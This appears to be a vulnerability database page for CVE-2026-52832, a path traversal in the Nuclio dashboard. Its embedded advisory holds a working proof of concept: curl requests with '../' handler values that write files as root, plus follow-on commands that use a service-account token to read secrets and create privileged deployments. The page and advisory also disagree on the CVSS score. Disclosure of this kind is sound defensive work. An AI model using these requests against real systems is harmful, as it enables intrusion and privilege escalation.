CVE-2026-52832: Nuclio Path Traversal Vulnerability
MODERATECVE-2026-52832 is a MODERATE (CVSS 4.9) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Nuclio libraries in the Go ecosystem. The issue involves unauthenticated path traversal in spec.handler allows arbitrary file write in dashboard container. Remediation is available by upgrading affected packages to version 1.16.5.
CVE-2026-52832 at a Glance
Security Impact
CVSS: 4.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-52832
To remediate this vulnerability, upgrade all affected Nuclio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/nuclio/nuclio to 1.16.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/nuclio/nuclio
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-52832, inspect your project dependencies for Nuclio:
inspect dependencies for github.com/nuclio/nuclio
Analyze the terminal output to locate any version of Nuclio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.16.5), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Nuclio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52832 Affected Nuclio Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/nuclio/nuclio
|
Go |
< 1.16.5
|
1.16.5
|
References
Frequently Asked Questions
What is CVE-2026-52832?
Which Nuclio versions are affected?
What version fixes CVE-2026-52832?
Is github.com/nuclio/nuclio affected?
What is the CVSS score of CVE-2026-52832?
What CWE is associated with CVE-2026-52832?
How can I check Go dependencies for CVE-2026-52832?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wpcj-rmv4-86qg",
"modified" : "2026-07-16T19:47:17Z",
"published" : "2026-07-16T19:47:17Z",
"aliases" : [ "CVE-2026-52832" ],
"summary" : "Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container",
"details" : "## Summary\n\nNuclio Dashboard exposes `POST /api/functions` without authentication by default (NOP auth mode). The `spec.handler` field (e.g., `mymodule:myfunction`) is parsed by `functionconfig.ParseHandler()` which splits on `:` only — no path validation is applied to the module portion.\n\nDuring function build, `writeFunctionSourceCodeToTempFile()` passes the module name directly to `path.Join(tempDir, moduleFileName)`. Go's `path.Join` internally calls `path.Clean`, which resolves `../` sequences and allows the resolved path to escape `tempDir`. The function then calls `os.WriteFile` at the attacker-controlled path with attacker-controlled content (base64-decoded `spec.build.functionSourceCode`).\n\nThe write executes in the Dashboard container process running as `uid=0 (root)`, allowing writes to any filesystem location the process can access: `/tmp`, `/etc`, `/usr/local/bin`, `/etc/cron.d`, and more.\n\n- **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` — **7.5 (High)**\n- **CWE**: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n- **Affected versions**: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability spans three functions. The path from user input to disk write is:\n\n**1. `ParseHandler` — no path validation** (`pkg/functionconfig/handler.go:25-38`):\n\n```go\n// pkg/functionconfig/handler.go:25-38\nfunc ParseHandler(handler string) (string, string, error) {\n moduleAndEntrypoint := strings.Split(handler, \":\")\n switch len(moduleAndEntrypoint) {\n case 1:\n return \"\", moduleAndEntrypoint[0], nil\n case 2:\n // Returns moduleFileName verbatim — no path sanitization\n return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil\n default:\n return \"\", \"\", errors.Errorf(\"Invalid handler name %s\", handler)\n }\n}\n```\n\nInput `\"../../../../tmp/vul007_proof.txt:handler\"` returns `moduleFileName = \"../../../../tmp/vul007_proof.txt\"`.\n\n**2. `writeFunctionSourceCodeToTempFile` — unsafe path construction** (`pkg/processor/build/builder.go:613-661`):\n\n```go\n// builder.go:624-657 (abridged)\ntempDir, err := b.mkDirUnderTemp(\"source\")\n// tempDir = /tmp/nuclio-build-<random>/source\n\nruntimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)\n\nmoduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)\n// moduleFileName = \"../../../../tmp/vul007_proof.txt\" — attacker-controlled\n\nif !strings.Contains(moduleFileName, \".\") {\n moduleFileName = fmt.Sprintf(\"%s.%s\", moduleFileName, runtimeExtension)\n}\n// If moduleFileName already contains \".\", no extension is appended\n// \"../../../../tmp/vul007_proof.txt\" contains \".\" -> stays as-is\n\nsourceFilePath := path.Join(tempDir, moduleFileName)\n// path.Join(\"/tmp/nuclio-build-227825660/source\", \"../../../../tmp/vul007_proof.txt\")\n// = \"/tmp/vul007_proof.txt\" <-- escaped tempDir\n\nb.logger.DebugWith(\"Writing function source code to temporary file\", \"functionPath\", sourceFilePath)\nif err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {\n // Writes attacker-controlled bytes to attacker-controlled path\n```\n\n**3. `cleanupTempDir` does not remove the traversal file** (`builder.go:1047-1061`):\n\n```go\n// builder.go:1053\nerr := os.RemoveAll(b.tempDir)\n// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists\n```\n\n### Path Traversal Calculation\n\n```\ntempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components)\nhandler = \"../../../../tmp/vul007_proof.txt:handler\"\nmodule = \"../../../../tmp/vul007_proof.txt\"\n\npath.Join(\"/tmp/nuclio-build-227825660/source\", \"../../../../tmp/vul007_proof.txt\")\n= path.Clean(\"/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt\")\n\nTraversal:\n /tmp/nuclio-build-227825660/source (start)\n ../ -> /tmp/nuclio-build-227825660\n ../ -> /tmp\n ../ -> / (filesystem root)\n ../ -> / (cannot go above root)\n tmp/vul007_proof.txt -> /tmp/vul007_proof.txt\n```\n\nThe same technique with 4x `../` reaches any path under `/tmp`, `/etc`, `/usr`, etc.\n\n### Full Attack Chain\n\n```\nUnauthenticated HTTP client\n -> POST /api/functions (no auth, NOP mode)\n dashboard/resource/function.go:156 storeAndDeployFunction()\n -> platform.CreateFunction()\n platform/kube/platform.go:193\n -> abstract/platform.go:191 HandleDeployFunction()\n -> abstract/platform.go:119 CreateFunctionBuild()\n -> builder.Build()\n processor/build/builder.go:195\n -> builder.resolveFunctionPath()\n builder.go:664\n -> builder.writeFunctionSourceCodeToTempFile() <-- file write here\n builder.go:613\n -> os.WriteFile(attacker_path, attacker_content, 0644)\n builder.go:657\n```\n\n---\n\n## PoC — Steps to Reproduce\n\n### Environment Setup\n\nThe following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.\n\n**Step 1: Create isolated kind cluster with Docker socket mounted**\n\nThe Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:\n\n```bash\ncat > /tmp/kind-vul007-config.yaml << 'EOF'\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n extraMounts:\n - hostPath: /var/run/docker.sock\n containerPath: /var/run/docker.sock\nEOF\n\nkind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml\n```\n\nExpected output:\n```\nCreating cluster \"vul-007\" ...\n ✓ Ensuring node image (kindest/node:v1.27.3)\n ✓ Preparing nodes\n ✓ Writing configuration\n ✓ Starting control-plane\n ✓ Installing CNI\n ✓ Installing StorageClass\nSet kubectl context to \"kind-vul-007\"\n```\n\nVerify Docker socket is available inside the cluster node:\n```bash\ndocker exec vul-007-control-plane ls -la /var/run/docker.sock\n# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock\n```\n\n**Step 2: Deploy Nuclio via Helm**\n\n```bash\n# Create namespace\nkubectl --context kind-vul-007 create namespace nuclio\n\n# Load container images (if pre-pulled)\nkind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007\nkind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007\n\n# Install with Helm (chart from source: hack/k8s/helm/nuclio)\nhelm install nuclio ./hack/k8s/helm/nuclio \\\n --namespace nuclio \\\n --kube-context kind-vul-007 \\\n --set controller.image.pullPolicy=Never \\\n --set dashboard.image.pullPolicy=Never \\\n --set registry.pushPullUrl=\"localhost:5000\" \\\n --set dashboard.containerBuilderKind=docker\n```\n\n**Step 3: Wait for Dashboard to be ready**\n\n```bash\nkubectl --context kind-vul-007 wait -n nuclio \\\n --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s\n\n# Expected:\n# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met\n```\n\n**Step 4: Expose Dashboard locally**\n\n```bash\nkubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &\nsleep 3\n\n# Verify Dashboard is accessible\ncurl -s -o /dev/null -w \"HTTP %{http_code}\\n\" http://localhost:8073/api/functions\n# HTTP 200\n```\n\n**Step 5: Create default project (required by Dashboard API)**\n\n```bash\ncurl -s -X POST http://localhost:8073/api/projects \\\n -H \"Content-Type: application/json\" \\\n -d '{\"metadata\":{\"name\":\"default\",\"namespace\":\"nuclio\"},\"spec\":{\"description\":\"default\"}}'\n```\n\n---\n\n### Exploitation\n\n**Step 6: Send path traversal request**\n\nThe `handler` field `../../../../tmp/vul007_proof.txt:handler` instructs the build pipeline to write `functionSourceCode` content to `/tmp/vul007_proof.txt` inside the Dashboard container.\n\n```bash\ncurl -v -X POST http://localhost:8073/api/functions \\\n -H \"Content-Type: application/json\" \\\n -H \"x-nuclio-project-name: default\" \\\n -d '{\n \"metadata\": {\"name\": \"vul007-poc\", \"namespace\": \"nuclio\"},\n \"spec\": {\n \"runtime\": \"python:3.11\",\n \"handler\": \"../../../../tmp/vul007_proof.txt:handler\",\n \"build\": {\n \"functionSourceCode\": \"UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw==\"\n },\n \"minReplicas\": 0,\n \"maxReplicas\": 1\n }\n }'\n```\n\n`functionSourceCode` base64 decoded: `PROVED-PATH-TRAVERSAL-VUL007`\n\nExpected response:\n```\nHTTP/1.1 202 Accepted\n```\n\n**Step 7: Observe Dashboard build logs**\n\n```bash\nkubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \\\n | grep -E \"temporary dir|Writing function source\"\n```\n\nActual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):\n```\n26.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir\n {\"dir\": \"/tmp/nuclio-build-227825660/source\"}\n\n26.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file\n {\"functionPath\": \"/tmp/vul007_proof.txt\"}\n```\n\nThe log confirms `functionPath` resolved to `/tmp/vul007_proof.txt`, which is\n**outside** the tempDir `/tmp/nuclio-build-227825660/source`. Path traversal is confirmed.\n\n**Step 8: Verify file written to traversal path**\n\n```bash\nkubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \\\n -- cat /tmp/vul007_proof.txt\n```\n\nOutput:\n```\nPROVED-PATH-TRAVERSAL-VUL007\n```\n\n```bash\nkubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \\\n -- ls -la /tmp/vul007_proof.txt\n```\n\nOutput:\n```\n-rw-r--r-- 1 root root 28 May 17 14:55 /tmp/vul007_proof.txt\n```\n\n**Step 9: Write to /etc/ — broader impact demonstration**\n\n```bash\ncurl -s -X POST http://localhost:8073/api/functions \\\n -H \"Content-Type: application/json\" \\\n -H \"x-nuclio-project-name: default\" \\\n -d '{\n \"metadata\": {\"name\": \"vul007-poc2\", \"namespace\": \"nuclio\"},\n \"spec\": {\n \"runtime\": \"python:3.11\",\n \"handler\": \"../../../../etc/vul007-marker.txt:handler\",\n \"build\": {\n \"functionSourceCode\": \"VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q=\"\n }\n }\n }'\n```\n\nLog evidence:\n```\n26.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file\n {\"functionPath\": \"/etc/vul007-marker.txt\"}\n```\n\n```bash\nkubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \\\n -- cat /etc/vul007-marker.txt\n# VUL007-PERSISTENT-MARKER-root\n```\n\n---\n\n### Cleanup\n\n```bash\nkubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true\nkind delete cluster --name vul-007\n```\n\n---\n\n## Impact\n\n### Direct Impact\n\nAn unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.\n\nDemonstrated write targets:\n- `/tmp/` — confirmed (primary PoC)\n- `/etc/` — confirmed (secondary PoC)\n\nPotential high-impact write targets:\n- `/etc/cron.d/` — write a cron job entry; if a cron daemon runs in the container, this\n achieves scheduled arbitrary command execution inside the container\n- `/usr/local/bin/<name>` — overwrite a binary called by dashboard processes\n- Any file path accessible by root within the container filesystem\n\n### Privilege Escalation\n\nThe Dashboard container runs as `uid=0 (root)`. Its mounted Kubernetes ServiceAccount (`nuclio-dashboard`) holds the following RBAC permissions in the `nuclio` namespace:\n\n```\nResources Verbs\nsecrets [*]\ndeployments.apps [*]\npods [*]\nconfigmaps [*]\nservices [*]\ncronjobs.batch [*]\n```\n\nVerification: Using the SA token directly against the Kubernetes API:\n\n```bash\n# List secrets — HTTP 200\ncurl -k -H \"Authorization: Bearer $SA_TOKEN\" \\\n \"$K8S_API/api/v1/namespaces/nuclio/secrets\"\n# => returns helm release secret, nuclio SA secret\n\n# Create privileged Deployment — HTTP 201\ncurl -k -X POST -H \"Authorization: Bearer $SA_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n \"$K8S_API/apis/apps/v1/namespaces/nuclio/deployments\" \\\n -d '{\"spec\":{\"template\":{\"spec\":{\"containers\":[{\"name\":\"t\",\"image\":\"busybox\",\"securityContext\":{\"privileged\":true}}]}}}}'\n# HTTP_CODE:201\n```\n\nAn attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the `nuclio` namespace, potentially escalating to cluster-level access depending on cluster configuration.\n\n### Scope\n\nThe file write is bounded to the Dashboard **container** filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.\n\n---\n\n## Severity\n\n**CVSS 3.1 Score: 7.5 (High)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n```\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network | Dashboard API reachable over network |\n| Attack Complexity | Low | Single HTTP request, no race condition |\n| Privileges Required | None | Default NOP auth mode requires no credentials |\n| User Interaction | None | Fully automated |\n| Scope | Unchanged | Write confined to Dashboard container |\n| Confidentiality | None | No data read in primary attack path |\n| Integrity | High | Arbitrary file write as root in container |\n| Availability | None | No service disruption caused by write |\n\n---\n\n## Affected Versions\n\n- **Nuclio <= 1.15.27** (latest release at time of research)\n- Dynamically verified against `quay.io/nuclio/dashboard:1.15.27-amd64` on 2026-05-17\n\nThe vulnerable code path (`writeFunctionSourceCodeToTempFile` in `pkg/processor/build/builder.go`)\nhas been present since the `functionSourceCode` inline code feature was introduced.\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.5\n\n---\n\n## Workarounds\n\n**Option 1: Enable authentication on the Dashboard**\n\nSet `NUCLIO_AUTH_KIND` to a non-NOP value (e.g., `iguazio`) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.\n\n```yaml\n# In Dashboard deployment env\n- name: NUCLIO_AUTH_KIND\n value: \"iguazio\"\n```\n\n**Option 2: Network-level access control**\n\nRestrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.\n\n**Option 3: Drop root privileges in the Dashboard container**\n\nRun the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.\n\n---\n\n## Remediation\n\nAdd a path boundary check in `writeFunctionSourceCodeToTempFile` after constructing `sourceFilePath`:\n\n```go\n// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile\nsourceFilePath := path.Join(tempDir, moduleFileName)\n\n// Verify resolved path is within tempDir\nabsPath, err := filepath.Abs(sourceFilePath)\nif err != nil {\n return \"\", errors.Wrap(err, \"Failed to resolve absolute path\")\n}\nabsTempDir, err := filepath.Abs(tempDir)\nif err != nil {\n return \"\", errors.Wrap(err, \"Failed to resolve absolute tempDir\")\n}\nif !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {\n return \"\", errors.Errorf(\n \"handler module path escapes build directory: %s\", moduleFileName)\n}\n\nb.logger.DebugWith(\"Writing function source code to temporary file\", \"functionPath\", absPath)\nif err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {\n```\n\nAlternatively, reject any `handler` module name containing path separator characters before the build pipeline is invoked (at API request validation time).\n\n---\n\n## Resources\n\n- Vulnerable file: `pkg/processor/build/builder.go` — function `writeFunctionSourceCodeToTempFile`, line 654\n- Parser: `pkg/functionconfig/handler.go` — function `ParseHandler`, line 25\n- Go `path.Join` behavior: https://pkg.go.dev/path#Join\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/nuclio/nuclio"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.16.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nuclio/nuclio/security/advisories/GHSA-wpcj-rmv4-86qg"
}, {
"type" : "WEB",
"url" : "https://github.com/nuclio/nuclio/pull/4143"
}, {
"type" : "WEB",
"url" : "https://github.com/nuclio/nuclio/commit/2a55d3a8bd4d49226cb4742020303f5bf2a0931d"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nuclio/nuclio"
}, {
"type" : "WEB",
"url" : "https://github.com/nuclio/nuclio/releases/tag/1.16.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-16T19:47:17Z",
"nvd_published_at" : null
}
}